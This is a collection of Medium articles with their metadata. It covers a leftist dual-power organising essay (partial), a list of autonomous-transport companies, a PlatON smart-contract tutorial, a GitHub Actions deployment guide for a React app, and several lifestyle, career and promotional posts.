liberal side of the movement led by Extinction Rebellion, but it is still present and intermingles with many other areas of struggle.
This is not enough, and is in fact, very little. We have not, as a wide movement, inflicted that many defeats on our opponents on any level other than tactical for quite a while. We do not hold much physical infrastructure at all. There are perhaps scattered squats, bookshops and cultural venues, but this is not remotely adequate, and barely deserves the title “infrastructure” in the sense mentioned in this context.
We therefore should:
1- Recommit to organising methods that directly strengthen components of what could become a dual power complex: We need to strengthen and further radicalise the base unions, with a particular eye for radicalising the community organising structures affiliated with the movement and the renters unions, which are still relatively moderate.
2- Select areas of focus in the mutual aid movement: We may need to be rather ruthless when it comes to selecting which mutual aid groups to focus our efforts in. It will be clear to anyone who is involved with the phenomenon that many of them are closely linked to right wing or liberal civic and political institutions like the Labour Party. We certainly do not have the ability to radicalise all of the mutual aid efforts, as the tendency to ignore early calls for a rent strike campaign and towards legalistic officialdom in many of the groups demonstrates.
3- Become much better at training organisers, not merely within organisations, but also across the whole spectrum. What do i mean by this? Well, basically, given the habit of activists to circulate between organisations, we are effectively in a large Petri dish filled with its own ecosystem of constantly interacting parts. Cross pollination between organisations and tendencies occurs naturally, and has many effects. One of the most positive of these effects is that people share skills and on occasion organisations will train people in other groups. This may or may not strengthen the organisation doing or receiving the training on a case to case basis but as a general practice it massively increases our capacity. In other words we need an internal mutual aid culture of training and skill sharing and that must go beyond occasional “skill-share sessions” and become organisationally habitual to our structures.
4- Begin assessing points of vulnerability in the political and economic system where we can carve out small niches. With patience and a durable application of effort we can establish situations where those niches coalesce into more coherent structures. However, if the squatting movement has shown us anything, it is that most efforts in this direction will fail.
5- Because of this we should be willing to accept and prepare for circumstances where a large quantity of our individual projects fail. It is common for committed activists to abandon organisations if a campaign they were committed to begins to falter or is deprioritised by the organisation. This is often a symptom of burnout in the individual. It is also a symptom of an organisational inability to account for that burnout, and prepare for loss. We are certainly very used to our projects failing, but we do not tend to put in place organisational redundancies to insure against this. This applies on the level of supporting individual activists in need of burnout, and it applies on larger levels as well. The challenge of figuring out how to do this is great and we are unfortunately only going to learn how to do it via bitter experience.
6- Because our projects will often fail, we must be adaptive and maneuverable, and prepared to prioritise and deprioritise efforts intelligently and collectively. Part of this means assessing the likelihood of success with sobriety, and part of this means deciding whether or not it is worth continuing with projects even if their failure is highly likely- there are many times when projects that are doomed in and of themselves, are capable of creating second order benefits. A failed organising drive may be worth continuing at a reduced level to hold onto existing gains, or to train more organisers, or to retain capacity for a future allocation of effort while a group of organisers recovers and assesses reasons for failure. The critical matter is that we should have a systemic ability to assess which battles are worth continuing for the sake of the wider struggle, even if the battle itself offers diminishing returns in its own local context.
7- Because of our currently limited numbers and the vast amount of work at hand, this general plan does mean massively deprioritizing support for reformist efforts: they must be considered an unnecessary indulgence now. No organisation currently existing has the resources, human, financial or otherwise, to simultaneously commit to the electoral front and to the complex and demanding tasks of deep organising and infrastructural development which are to hand
The subject of revolutionary strategy is a complex one and I will continue to write about it elsewhere. I hope that this document proves useful to its readers, and that above all it provokes a simultaneous debate of new strategies and a commitment to organising outside of the cliques of Momentum/Labour infighting, university radicalism, and failed vanguardism, and instead develops in a healthy cooperative relationship with seriously militant direct action, workplace and class organising and hard nosed practical protest agitation.
Good luck, and maybe I’ll see some of you out organising.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Appendix: Definitions and Commentary from Modern Western Organisations and Writers
Black Rose/Rosa-Negra:
“The term “dual power” has been used in several ways since it was first coined. The following definition builds on the previous meanings of dual power, most importantly by articulating the equal and necessary relationship between counter-power and counter-institutions. In the original definition, dual power referred to the creation of an alternative, liberatory power to exist alongside and eventually overcome state/capitalist power. Dual power theorizes a distinct and oppositional relationship between the forces of the state/capitalism and the revolutionary forces of oppressed people. The two can never be peacefully reconciled. With the theory of dual power is a dual strategy of public resistance to oppression (counter-power) and building cooperative alternatives (counter-institutions). Public resistance to oppression encompasses all of the direct action and protest movements that fight authoritarianism, capitalism, racism, sexism, homophobia, and the other institutionalized oppressions. Building cooperative alternatives recreates the social and economic relationships of society to replace competitive with cooperative structures. It is critical that these two general modes of action do not become isolated within a given movement. Counter-power and counter-institutional organizations must be in relationship to each other.” — SOURCE
Seattle Communists/Communist Labor Party:
“What does dual power mean? dual power is both a type of institution and a strategy to change the world. dual power means new, independent institutions for people to meet their own needs in ways capitalism and the government can’t or won’t. Unlike nonprofits, where a board of directors (and usually wealthy donors!) makes the decisions, dual power institutions are created and controlled by the people they benefit. By developing them, people create a second kind of social, economic, and even political power, separate from government and capitalism. (That’s what the “dual” means, in duality with the current system.) These new community institutions then govern themselves using participatory democracy, which means that everyone plays an active part in decision-making. What kinds of dual power institutions are there? dual power institutions come in two flavors: alternative institutions and counter-institutions. The two kinds of dual power institutions do this from different (but complementary) angles. Alternative institutions meet a need directly. Counter-institutions challenge capitalism’s way of doing things. Alternative institutions start making a system that’s just, while counter-institutions work against one that’s unjust.“ -SOURCE
Democratic Socialists Of America- Libertarian Socialist Caucus:
“Dual power is a strategy that builds liberated spaces and creates institutions grounded in direct democracy. Together these spaces and institutions expand into the ever widening formation of a new world “in the shell of the old.” As the movement grows more powerful, it can engage in ever larger confrontations with the ruling class — and ultimately a contest for legitimacy against the institutions of capitalist society. In our view, dual power is comprised of two component parts: (1.) building counter-institutions that serve as alternatives to the institutions currently governing production, investment, and social life under capitalism, and (2.) organizing through and confederating these institutions to build up a base of grassroots counter-power which can eventually challenge the existing power of capitalists and the State head-on. In the short term, such a strategy helps win victories that improve working people’s standard of living, helps us meet our needs that are currently left unaddressed under capitalism, and gives us more of a say over our day-to-day lives. But more excitingly, in the long run these methods provide models for new ways of organizing our society based on libertarian socialist principles. They create a path toward a revolutionary transition from a capitalist mode of production. This revolution will liberate us from both the need and the drive to create wealth for the rich, making possible a socialist mode of production that seeks to benefit all of humanity and free us from the lonely confines of commodity relationships.” — SOURCE
From UK Indymedia, circa 2002, by Brian Dominick: | https://medium.com/@kosigan/insurrectionary-and-infrastructure-a-dual-power-reader-for-leftists-in-the-british-isles-d9423d9ac081 | ['I. Kosigan'] | 2020-05-09 01:32:19.130000+00:00 | ['Communism', 'Revolution', 'Anarchism', 'Mutual Aid', 'British Politics'] |
The age of autonomous transportation | Today is the beginning!
Here are the first 10 chapters, with the related 96 Companies
Apollo
Argo AI
Aurora
AutoX
Cruise
Oxbotica
Tesla
Voyage
Waymo
Zoox
AImotive
Dataspeed Inc.
Didi
Ford
Mobileye
Motional
PonyAI
Renovo
StreetDrone
Yandex
Einride
Embark
Peloton
Plus.ai
Starsky Robotics
Tesla
Torc Robotics
TuSimple
Volvo Trucks
Waymo
2getthere ZF
Apollo
Aurrigo
Coast Autonomous
Cruise
EasyMile
Hochbahn
Navya
Local Motors
Sensible 4
Amazon
FedEx
LMAD_EU
Neolix
Nuro
StarshipRobots
Udelv
Yandex
Aurora
Autox
Dataspeed
Phantom Auto
Renovo Auto
Torc robotics
Voyage
Waymo
AEye
Benewake
Blickfeld
Cepton
Innoviz
LeddarTech
Luminar
Quanergy Systems
RoboSense
Velodyne Lidar
aeva
Hesai
Ibeo
Ouster
LivoxTech
Lumotive
MicroVision
Sense Photonics
SICK
XenomatiX
Airobotics
Drone Delivery Canada
Elroy Air
Flytrex
Matternet
ParaZero Drone
Percepto
Skydio
SkyX Systems
Zipline
AirspaceSystems
Altitude Angel
Amazon
Azur Drones
DroneUp
Iris Automation
Sabrewingair
Ups
Wing
XSun | https://medium.com/@guidaautonoma/the-age-of-autonomous-transportation-1b40b34cf48 | [] | 2020-12-24 14:40:26.500000+00:00 | ['Robotics', 'Artificial Intelligence', 'Autonomous Vehicles', 'Self Driving Cars', 'IoT'] |
PlatON Lectures: Online Open Class on PlatON Smart Contract (I) | On May 26, 2020, PlatON launched its first open class on smart contract. PlatON CTO James Qu shared the latest development on PlatON, deep interpretation of smart contract and the practice training of smart contract compiling and deployment, with core smart contract developers.
Deep Interpretation of Smart Contract — Compiling
Smart Contract (Head file)
Smart contract class is the key component of smart contract, and the method to call the smart contract should be the member function of a class.
A class should be decorated by CONTRACT, must publicly inherit platon::Contract base class, and has init member function which will be called in deployment once.
Smart contract method must be decorated by ACTION or CONST. This kind of member function can’t reload. When the function is decorated by ACTION, the on-chain data will be modified; when the member function is decorated by CONST, only attribute search is called and the on-chain data is kept.
If the parameters and returned values of smart contract method are customization, then they need to add PLATON_SERIALIZE macro declaration serialization function in it’s definition; for other types, they need to add PLATON_SERIALIZE_DERIVED macro declaration serialization function.
Smart Contract (Implementation file)
The implementation of smart contract method should add ACTION or CONST the same as the head file, and apply the PLATON_DISPATCH macro declaration smart contract class and method.
The member variables of platon::StorageType can be stored persistently. There should be a n added in front of the first parameter of platon:StorageType template. The second parameter is the specific type of the true storage. The member functions need to get the specific samples from self() function to modify the member variables, and then call the related sample functions.
The second parameter of platon:StorageType is a customization type, PLATON_SERIALIZE macro declaration serialization function should be added in such kind of definition type. If this kind of type inherits other types, PLATON_SERIALIZE_DERIVED macro declaration serialization function should be added.
Smart contract supports the initialization of class’s static data such as static variables, global variables, etc.
Smart Contract Permissions
Developers are recommended to set the permissions for contract call, burning, migration upgrade of smart contract, and other sensitive actions.
When calling the general smart contract, platon-caller is the trading initiator’s address; when calling the cross contract call, platon-caller is the called smart contract’s address.
Whether calling the general smart contract or the cross smart contract, platon_origin is the trading initiator’s address.
When calling the general smart contract or the cross smart contract, platon_address is the called smart contract’s address; when calling the agent cross smart contract, platon_address is the address that call the smart contract.
When deploying smart contract, if there is an address introduced, then set the smart contract owner as this address. Otherwise, set the smart contract as the trading initiator’s address.
When burning smart contract, check whether if the trading initiator is the smart contract owner. If yes, burn it, if no, exit the burning process.
When migrating smart contract, check whether if the trading initiator is the smart contract owner. If yes, migrate it, if no, exit the migrating process.
PlatON team provides a suite of authentication functions to simplify the difficulty of development
Apply set_owner to set the owner of smart contract. If the parameter is null, then set the smart contract initiator’s address as the owner. Apply “init” method for contract call, and “owner” menthod to get the owner of smart contract.
The is_owner can check whether the introduced address is the owner of smart contact. If the parameter is null, then we will know whether the original trading initiator is the owner of smart contract.
The WhiteList class enables developer to add, delete and check whether if it’s in a white list.
A smart contract can support multiple white lists, and provides “SysWhitelist”, the system white list class, at the same time. Usually, SysWhitelist is OK to the great extent.
Smart Contract Creation
The smart contract will be initialized when being created. The initialization will be finished with init function which will be called when being creating once. The init function can’t be reloaded, but can set the number and type of function parameters accordingly.
Smart Contract Burning
Smart contract can be self-destructed. Developers can realize the smart contract burning according to the embedded platon_destroy function PlatON provides. An address parameter of the smart contract will be necessary for transferring the balance of smart contract to this address. Keep in mind that smart contract burning is a high-risk action, please be cautious and set reasonable permissions of burning, and call the embedded plaon-destroy smart contract burning after the permission verification gets approved.
Smart Contract Upgrade/Migration
The embedded function platon_migrate_contract will migrate the data in the previous smart contract to the new one, and upgrade the code logic. Notice that, smart contract migration is a high-risk action, please be cautious and set reasonable permissions of migration, and call the embedded platon_migrate_contract to migarate the previous smart contract after the permission verification gets approved.
The return_address parameter is included in the new smart contract address, and the init-arg should be: magic number + RLP (code, RLP(hash(“init”), init_paras…)).
The transfer_value refers to the transferred amount in the new smart contract address, gas_value refers to the estimated gas fee. | https://medium.com/@platon-network/platon-lectures-online-open-class-on-platon-smart-contract-i-c905a9628381 | ['Platon Network'] | 2020-06-06 18:47:40.741000+00:00 | ['Platon Network', 'Cryptography', 'Smart Contracts', 'Deployment', 'Blockchain'] |
Find Your Running Resolutions for 2021 | Photo by Alex McCarthy on Unsplash
This year, New Year’s Eve is going to look a lot different. And honestly, this is one of those holidays where I’m kind of okay with that. Rather than buying a black sparkly dress at the last minute, paying inordinate amounts of money for watered down mixed drinks at a bar, and waking up with a swollen face and throbbing temples, I’m going to be hanging out on my couch with my boyfriend wearing sweats and eating takeout. Could this be a good omen for 2021?
Along with New Year’s comes New Year’s resolutions. I know that some people scoff at New Year’s resolutions because we can change whatever we want whenever we want, and we don’t need a new calendar to tell us so. While that’s technically true, I find it really helpful to have a date where I can draw a line and say, “This is my start line and December 31, 2021 is my finish line. Here’s what I want to do in that gap.”
So, Runner’s Life readers, here’s what I want to do in that gap:
Run at least 20 miles per week (compared to my current 15 miles/week) Run a 5K in 24 minutes or less by incorporating more speed work (my current PR is 25:47) Run a marathon (I was supposed to do the Chicago Marathon in 2020 — RIP — and am registered for 2021. Fingers crossed!) Get new running gear (i.e., sunglasses, shoes, fitness tracker, etc.)
For me, it wasn’t always easy to come up with resolutions. It felt so lofty and ambiguous, like the feeling of forcing myself to write an article when I have no idea where to even start. If you feel the same way, here are some tips for uncovering your running resolutions for 2021:
Make it attainable.
Something that all of my running goals have in common is that none of them are too out of reach for me. For instance, with the 5K, I didn’t set my goal to be 18 minutes or less because that would likely set me up to be discouraged.
Everyone’s goals should be personalized to fit their own running journey. You could be an avid runner and set a goal to run 100 miles per month or you could be a beginner and set a goal to run two days a week — both are great goals as long as they push you out of your comfort zone without injuring you or making you hate the sport.
Make a plan.
So, you set a goal. Great! Now, what are you going to do to achieve it?
For me, I’m planning to run four days a week instead of three so that I can hit my weekly goal of 20 miles. I’m going to incorporate more speed work into my workouts and I’m going to investigate getting a running coach so that I can beat my goal of a sub-24-minute 5K. I’ve already registered for the Chicago Marathon in October. I’m going to buy new running shoes in January and get running sunglasses by May, to space out the bigger expenses.
Setting a goal is one thing, but saying, “I’m going to beat my half marathon PR” isn’t going to get you there. Committing to a training plan will.
Stay focused.
By keeping your resolutions simple, you’ll have an easier time staying focused on your plan and executing on it.
You’ll notice that my list isn’t 25 items long. If it was, it would probably result in me over-exerting myself, failing, and loathing the whole goal-setting exercise. You don’t need to set a billion goals to feel successful. Set a reasonable amount that you can accomplish in the upcoming year so that you can actually put the time and focus into them that they (and you!) deserve. | https://medium.com/runners-life/find-your-running-resolutions-for-2021-3185bce769fa | ['Cailin Cowley'] | 2020-12-22 15:21:23.459000+00:00 | ['Resolutions', 'Running', 'Goal Setting'] |
How to deploy a create-react-app with github-actions | Here’s a quick guide on how to deploy a CRA (create-react-app) to GitHub pages using GitHub actions. We’ll create a GitHub Action workflow that runs the build command and then deploys the build directory by pushing it to the gh-pages branch.
Setup
1. Prefix URLs
GitHub pages urls looks like user.github.io/repo-name , so we need to make sure all our relative URLs are prefixed by /repo-name . Using create-react-app, it's enough to add "homepage": "/repo-name", to the package.json . The build command will automatically take care of the rest.
2. Add deployment key
Deploying to GitHub pages means pushing the build directory to the gh-pages branch. Currently, pushes using default GitHub Actions credentials do not trigger a GitHub pages rebuild. Meaning, we need to set up a deployment key for the repo first that can be used by the GitHub action. I use the same deployment key for the gh-pages deployment actions across all my repos. You can create a new SSH public/private key pair using this command:
cd ~/.ssh
ssh-keygen -t rsa -b 4096 -C "$(git config user.email)" -f gh-pages-actions -N ""
Following the Getting Started section of this gh-pages Action we add a new write-access deployment key** in the /repo/settings/keys section pasting our public key from the .pub file.
We need to make the private key accessible to our GitHub action. To do this add the corresponding secret key in the repo/settings/secrets section. Make sure to name it ACTIONS_DEPLOY_KEY .
GitHub Action
Now all that’s left is to create a new .github/workflows/deploy.yml workflow file and paste the following GitHub action YAML code:
name: Deployment
on:
push:
branches:
- master
jobs:
deploy:
runs-on: ubuntu-latest
strategy:
matrix:
node-version: [12.x]
steps:
- uses: actions/checkout@v1
- name: Use Node.js ${{ matrix.node-version }}
uses: actions/setup-node@v1
with:
node-version: ${{ matrix.node-version }}
- name: Install Packages
run: npm install
- name: Build page
run: npm run build
- name: Deploy to gh-pages
uses: peaceiris/actions-gh-pages@v3
with:
deploy_key: ${{ secrets.ACTIONS_DEPLOY_KEY }}
publish_dir: ./build
On each push to the master branch it performs the following tasks:
Checkout the code from the master push Install Node v12 Run npm install Run npm build which creates the build folder. Deploy the ./build folder to gh-pages using the deploy key in the secrets.ACTIONS_DEPLOY_KEY variable.
To test the deployment process push this workflow file to master. | https://medium.com/@cmichel/how-to-deploy-a-create-react-app-with-github-actions-5e01f7a7b6b | ['Christoph Michel'] | 2020-02-16 17:40:24.440000+00:00 | ['Github', 'JavaScript', 'React', 'Github Actions'] |
Sometimes Starting Over Is As Simple As Opening the Windows | Sometimes Starting Over Is As Simple As Opening the Windows
Photo by Kinga Cichewicz on Unsplash
Germany just announced a second full lockdown. For the second time this year, businesses, stores, schools, and daycares have to shut down for a mandatory four weeks.
When the first lockdown happened, our lives stopped completely. My daily routine was usurped by vague apocalyptic fears, and I became unable to think about anything further away than the next few hours.
I’d started the year getting my son settled into a new preschool, hunting for full-time jobs after too many years of freelancing, and generally planning to kick 2020’s ass. Just as I got going, the lockdown threw me back into full-time motherhood, and the days felt as thick and sticky as the first few weeks of my son’s life.
But eventually we found a routine and started to make things work, mostly. And then preschools opened back up. So I switched gears once more, letting myself believe that perhaps we were going to avoid that second wave after all. We found a new apartment. I got a new job. Things were starting to feel something like normal. And then came a case at my son’s preschool. He was home again, but it was only temporary.
This year has forced all of us to leave old routines behind and start anew in the face of a cataclysmic Not Knowing.
Now here comes another lockdown — one that I hope will only last for a few weeks. This time, my life isn’t stopping; this time it’s not even a surprise. Because any time I start to eke out a new routine these last ten months, something changes, and we’re forced to find a new way to make it work all over again. | https://medium.com/age-of-empathy/sometimes-starting-over-is-as-simple-as-opening-the-windows-ff966cc9f1bc | ['Caitlin Vestal'] | 2020-12-17 08:23:15.846000+00:00 | ['Motherhood', 'Life Lessons', 'Germany', 'Living Abroad', 'Self'] |
When our Adult Self is Fused with our Inner Child | If we never have an understanding of our inner children, they often become blended and fused into our adult selves. Most times, whenever we see an adult “misbehaving,” it’s likely because their inner children are terrified and have been given too much power and influence over their lives.
How do we get to know the qualities of our inner child?
This is slightly complicated because we each have different experiences that create the defenses and triggers we developed as kids. The qualities of our inner children depend on how we grew up and how our unique personality tends to negotiate things.
For instance, my inner child learned that to be loved, heard, and protected, I must be as sweet and vulnerable as possible. She tends to crumble under certain circumstances but also has a horrible temper if she’s really poorly treated.
On the other hand, my good friend has an inner child that developed under physically abusive conditions. She couldn’t afford to be vulnerable at all, so she created a tough armor, quick reactivity, high vigilance, and lightening speed reflexes towards fight or flight.
The skills and defenses we developed as kids helped us when we were young. However, as we get older, they become dysfunctional because they’re still immature. So even though our inner children may be different from each other, they all have immaturity as their tell-tale sign.
Getting to know our inner children means we need to become aware of the areas of our personality that seem immature, ego-driven, and over-reactive. Why? Because ego, immaturity, and reactivity are classic qualities of all young children.
Image by Stefan Keller from Pixabay
How do we know which is our inner child, and which is our adult self?
Our adult self rarely governs our lives through immature decisions and reactions. They think calmly and with purpose, and they use higher thinking to understand situations. They don’t descend into fear or reactivity when they’re uncertain. Instead, they exercise patience and a balanced approach to challenging situations.
Unfortunately, most of us have our adult selves completely fused with our inner children. We all have experiences we regret because we over-reacted, didn’t think clearly, or made immature and dysfunctional decisions. That’s not because we were terrible people, it’s because a childish part of ourselves had too much control.
Kids just can’t deal with decisions, challenges, and uncertainty. So we can’t expect our inner children to have the proper tools to deal with life. | https://medium.com/the-break-down-wake-up-journal/when-our-adult-self-is-fused-with-our-inner-child-84dcb4e4c7dc | ['Gillian May'] | 2019-10-30 18:31:43.178000+00:00 | ['Life Lessons', 'Education', 'Self', 'Self-awareness', 'Mental Health'] |
Executive Office Desk Furniture Luxury Office Furniture & Height Adjustable ED 29 — Salam UAE | Executive Office Desk Furniture Luxury Office Furniture & Height Adjustable ED 29 — Salam UAE Salamuae Dec 27, 2021·2 min read
Description
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Dubai’s top management desks like Luxury Office Furniture! Our collection comprises a wide selection of table tables with better comfort and technology in the workplace.
Visit Our Facebook page Salam UAE | https://medium.com/@salamuae008/executive-office-desk-furniture-luxury-office-furniture-height-adjustable-ed-29-salam-uae-a7310b98b166 | [] | 2021-12-27 12:03:35.559000+00:00 | ['Office Furniture Dubai', 'Furniture Online', 'Furniture Design', 'Dubai', 'Furniture'] |
Submission Guidelines for Vital World Online | Submission Guidelines for Vital World Online
What you can submit and what you need to do
Image by Pixmedia on Pixabay
Vital World Online is a fast growing online publication.
What We Accept
We accept stories from new and established writers in the following genres/topics:
Business
Self-improvement
Fiction
Submissions must be the writer’s own original work.
Formatting Your Story
Below are examples of how your story should be formattted.
How You Can Make Money From Your Writing On Media
For tips on how you can make money on Medium read this article by Dr Mehmet here.
How To Be Added As A Writer
If you would like to publish your story with us please email us at:
[email protected]
Please also include a link to the story you would like to submit for publication as well as your Medium username. | https://medium.com/vital-world-online/submission-guidelines-for-vital-world-online-a3d5cf810bd6 | ['Rejoice Denhere'] | 2020-09-23 07:51:48.918000+00:00 | ['Self Improvement', 'Submission', 'Writing', 'Fiction', 'Business'] |
Learn Advanced Android By Doing | There is no better way to learn something than by doing
Undoubtedly, there is no better way to learn something than by doing. We all learn anything in the best possible way by doing.
Janishar Ali and Amit Shekhar(me) have been working with small and big companies for years. While working with these companies, we solved many great problems with great problem-solving techniques. These techniques are helping us in solving the upcoming problems too while building the real scalable Android applications.
While working, we also created the platform MindOrks for the developers to share the knowledge. It is now one of the largest platforms which have helped millions of developers in learning the advanced Android App Development and getting better jobs.
More than that, we went outside and met many developers from top companies and gathered many things which will help you in becoming a better Android Developer. We met CTO, Engineering Manager, Engineering Leads of the companies and understood what they need in a perfect candidate for a developer role. Also, we met many developers and understood what are their career aspiration, what are the things they want to learn.
After doing all those homework for a few months, we had too many things in our bucket to deliver and help developers in improving themselves.
We went back to the board, sketched everything, and planned to launch a product to help developers. Then we launched the product MindOrks Android Online Course.
MindOrks Android Online Course is the first-ever online course to provide optimized learning in the real environment which helps you in learning the important problem-solving techniques for the real problems faced while building real Android apps.
The Android online course provides the following:
Job Focused Software Development Training: We are solving the biggest problem of software jobs where only 5% of developers are considered fit for software development by training them through real-world software development projects.
Flexible and Guided Online Learning Program: This is the first online course model where we learn by building application under the guidance of best in the field professional developers.
Become Eligible For Top Paying Android jobs: You learn to visualize the solution by breaking the projects into components and then build those components in collaboration with other learners. We also provide interview focused sessions.
Process
In addition to this, we help you with the doubt resolution for all the course-related queries.
Road Map: The learning path of the training process
Dagger
Kotlin
Architectural Components
Lifecycle, LiveData, ViewModel
RxJava
Room Database
Networking with Retrofit
MVVM Architecture
Unit Testing
Kotlin Coroutines
Android Build Systems
Memory Management
Multithreading and Handler-Looper
Networking and Caching
Image Loading and Glide
System Design(Mobile): WhatsApp
If you want to earn 2x, you will need to learn 3x,
and we help you in learning 3x.
In this way, this Android Online Course is solving the biggest problem of software jobs by training developers through real-world software development projects.
Apply Now: MindOrks Android Online Course and Learn Android
That’s It For Now. Happy Learning By Doing. Clap, share if you like it and follow me for the updates. | https://medium.com/mindorks/learn-advanced-android-by-doing-2ef1e80e9036 | ['Amit Shekhar'] | 2020-05-14 08:58:05.815000+00:00 | ['Android', 'AndroidDev', 'Android App Development', 'Online Courses', 'Training'] |
8 Non-Technical Skills That Every Developer Must Have | When we think of software development as a job all that comes to our minds is technical skills, technical thinking, technical abilities, technical, technical …and more technical things! After all, a developer’s professional relations are all with his computer Isn’t it? Well, that is wrong! Besides knowledge of languages and frameworks, an outstanding developer isn’t great at what he does with technical proficiency only!
Software developers are required to have soft skills as much as technical skills in order to maximize their professional growth and be a good addition to their teams. Actually, In some situations, the soft skills are the ones that save a whole software development project from falling apart!
Yep, this blog is about nothing technical! Here are the main non-technical skills that a developer MUST have :
Solution-oriented thinking
Software development is all about solving existing problems through digital solutions ! every feature and every code in every digital solution is meant to answer a specific need. Adding to that, the numerous popping challenges faced during the development cycle from situations that require re-coding to others that require complete new strategy while Misunderstanding a problem can lead to creating new ones. Some client requirements are simply a big complicated problem to execute needing way beyond “normal thinking”.
How can you be a software developer if you are not able to develop digital “solutions” ??
The Eagerness to learn
Software development is a constantly evolving domain which means whatever you learned yesterday might need to get updated today and whatever you don’t know you need to learn it ASAP. A static mindset doesn’t serve the job! It needs a dynamic mind driven by passion and eagerness to learn. The field is so vast that there’s no way for anyone to learn everything in it but what segregates one developer from another is that capacity to learn and ensure personal growth as any self-respecting software developer will need to dedicate a significant amount of time to learn NEW sKILLS.
Intellectual curiosity in the good sense is what pushes a developer to ask questions, think deeper of problems, try to solve them from new angles, drive projects forward, and sculpt careers.
Team member mentality
Unlike the common thinking that related the life of a developer to a computer, a developer works within a TEAM!
Oh yeah it some projects are co-developed by a team of developers and Even if the project is solo-operated the developer is still doing teamwork with BAs and respective project managers. Being a team member means being comprehensive, collaborative, enthusiastic, helping, understanding, punctual, kind, appreciated by the rest of the team members, and way more good adjectives.
Having Great team players are essential in providing great teamwork which is crucial to driving the project to success within the best delays and budget. Unfortunately not anyone is born with a good sense of teamwork many struggle to put aside their solo thinking and adopt a team player mentality…another factor that differentiates one developer career from another!
Basics of leadership skills
Well, Today’s developer can be tomorrow’s head of the development department! Being one team member is skilled enough, Striving to head a team isn’t just a matter of who has the best technical knowledge, it is mostly a matter of being a great worth-promoting leader that can communicate ideas and guide a team energetically. Developers need to crucially consider adopting leadership skills and believe in their importance from the early stages of software development career if they are willing to go further with their desks. It includes working on good monitoring, guidance, strategic thinking, stress & time management, prioritization, influence, communication skills..etc
Communication skills
What’s the point of working on projects working in a team and contributing to solutions if you can not communicate them properly?? Quality communication is crucial to ensure effective teamwork and eventually satisfy the client with results. Competent developers are the ones available to actively listen, understand, and communicate their thoughts and ideas clearly in the matter.
Sometimes the developer is put personally in contact with the client to follow their requirements. With the lack of communication skills, a simple meeting can turn into a disaster. Perhaps the most important skill in this area is active listening. Whether collecting client feedback or participating in a sprint retrospective, developers need to know how to listen and empathize with others in order to collectively determine the best path forward.
visionary perspective
While developing a successful digital solution, a developer needs to put himself in many shoes: he should
Think like a user to get the right useful features and develop a great user experience.
Think like hackers conduct tests and retests to provide great security system in everything he develops.
Think like an innovative inventor to develop every product uniquely and avoid falling into the “typicality” issue.
Think like the client to ensure his satisfaction.
Think like his managers to align with the company’s goals, culture, and future vision.
Think like his boss to get promoted xD!
Such thinking requires a real sense of empathy and elaborated visionary perspective skills as All your work can be in vain if not appreciated by the right people and solidly safe from hackers.
Striving for excellence and innovation
A great developer is the one that strives to excel at his job delivering both quality and innovation in the best delay that means saying “yes” to new experiences, staying relevant and engaged, having the Willingness to try out new techniques, to improve work and bring innovation.
A successful product requires well-structured, semantic, maintainable code, the success comes in paying attention to the smallest details and having a Detail-oriented eye to take pride in delivering high-quality code.
Repeating what everyone does isn’t what is going to build you a successful developer career, it is the innovative quality delivering mindset that does!
Disciplinary and organizational skills
Coding is a lot like sports: You come in time, you stay energetic and you develop muscles in your brain! Being not organized is a big issue as It takes persistence and discipline to learn development techniques, work efficiently, and be ready to accept change in client requirements.
software development can be over exhausting and demanding, it is a very complicated process that takes mental effort. developing the smallest digital solution can take impressive efficiency and patience in decoding challenges. Getting discouraged and Giving up won’t get you anywhere except failure! It is important to be disciplined, consistent, and welcoming to feedback while developing digital solutions.
Conclusion
Professional growth comes in developing both technical and non-technical skills as they go hand in hand in determining project success! | https://medium.com/indianic/8-non-technical-skills-that-every-developer-must-have-c2f3e7b7dbf0 | ['Rania Mdimagh'] | 2020-12-02 13:37:46.650000+00:00 | ['Soft Skills', 'Development', 'Jobs', 'Skills', 'Software Development'] |
How to Instantly Create Intimacy With Any Person You Meet | How to Instantly Create Intimacy With Anyone
For most people, the hardest part is how to start. Whether we want to create a familiar community, a friend, or a life partner, most people don’t know how to initiate a connection. So the opportunities pass us by, and we are doomed to the limited social networks of our work and recreational activities — or worse still, the infinite swipes on our phones.
There are thousands of books on how to create romantic intimacy—this isn’t one of them.
This is about how to start a connection and convert any conversation into one where you actually break past the superficial persona of a stranger and discover the real person underneath. It’s about turning the entire world into your community and creating the potential for every person to be your friend.
It turns out, the first step is simply to want to.
Phase 1: Be intentional
Let’s be honest, we’re not always in the mood to interact with people. Sometimes, it takes a little internal pep talk to get us going.
I would often sing the chorus in a song by Zhu called Automatic in my head before I entered a Lyft ride. If you look up the lyrics, you’ll understand why. Doing this set my intentions — it set my mood and how I wanted to show up in that interaction. It reminded me that I wanted to be curious, I wanted to make others feel good, and that I was open. Put yourself in the right mood and be the person someone would want to meet. Have zero expectations and be curious.
This almost never happens without conscious intention. Most of our intimate connections are rife with expectations. Society does not condition us to create random intimacy with strangers, but only with people who fulfill certain roles in our lives — partners, friends, family. These predefined roles also all come with pre-defined expectations. So, we forget to stay curious and allow interactions to play out. Often, the gap between what we expect from them and how they fulfill these roles is what causes the gap in intimacy. People can sense when you have an agenda and it detracts from their ability to open up to you.
So, don’t just talk to the cute guy at your coffee shop (or if you do, do it without expectations) — talk to the old lady who comes in to read every day, talk to the young mother who looks like she could use an adult conversation, talk to the hipster girl drawing in her notebook. You never know who you might meet. I once had a two-hour conversation about concrete and I wasn’t bored for even a second.
Phase 2: Breaking the ice
This is probably the scariest part for most people and the greatest hurdle to overcome. Yes, there will be awkward moments and no, the world will not end. Like exercising a muscle, it also gets much easier over time.
Make eye contact and smile.
That simple? Yes.
Most of us go through our daily lives with unconscious barriers — headphones plugged in that say, “Don’t talk to me”, distant or blank stares that say “I don’t really see you” and more often than not, eyes transfixed on our smartphones that say, “This mindless feed is more interesting than anything or anyone in real life.”
The easiest way to break that first barrier is simply to look up, make eye contact, and smile. Without exception, eye contact is the first point of connection. It’s simple, timeless and extremely underrated. If it’s powerful enough to make you fall in love (as concluded in this famous study over 20 years ago), it’s certainly powerful enough for you to make a friend.
Babies do this all the time and will often hold eye contact with you for a much longer time than adults feel comfortable doing. So, practice with them if it makes you super uncomfortable to start with an adult.
Observe something specific about them then ask a question about it
You smiled, they smiled, now what? One of the easiest ways to open a conversation is to notice something specific about that person and ask a question about it. It can be a book they’re carrying, something they’re wearing, somewhere they’re going, or something they’re looking at.
Created by the author
In time, you might progress to more intimate openers.
“I love your tattoo, what does it mean?” “You’ve got an interesting look. What’s your heritage?”
I recommend not using the classic opener “How are you?” and I’ll explain more below.
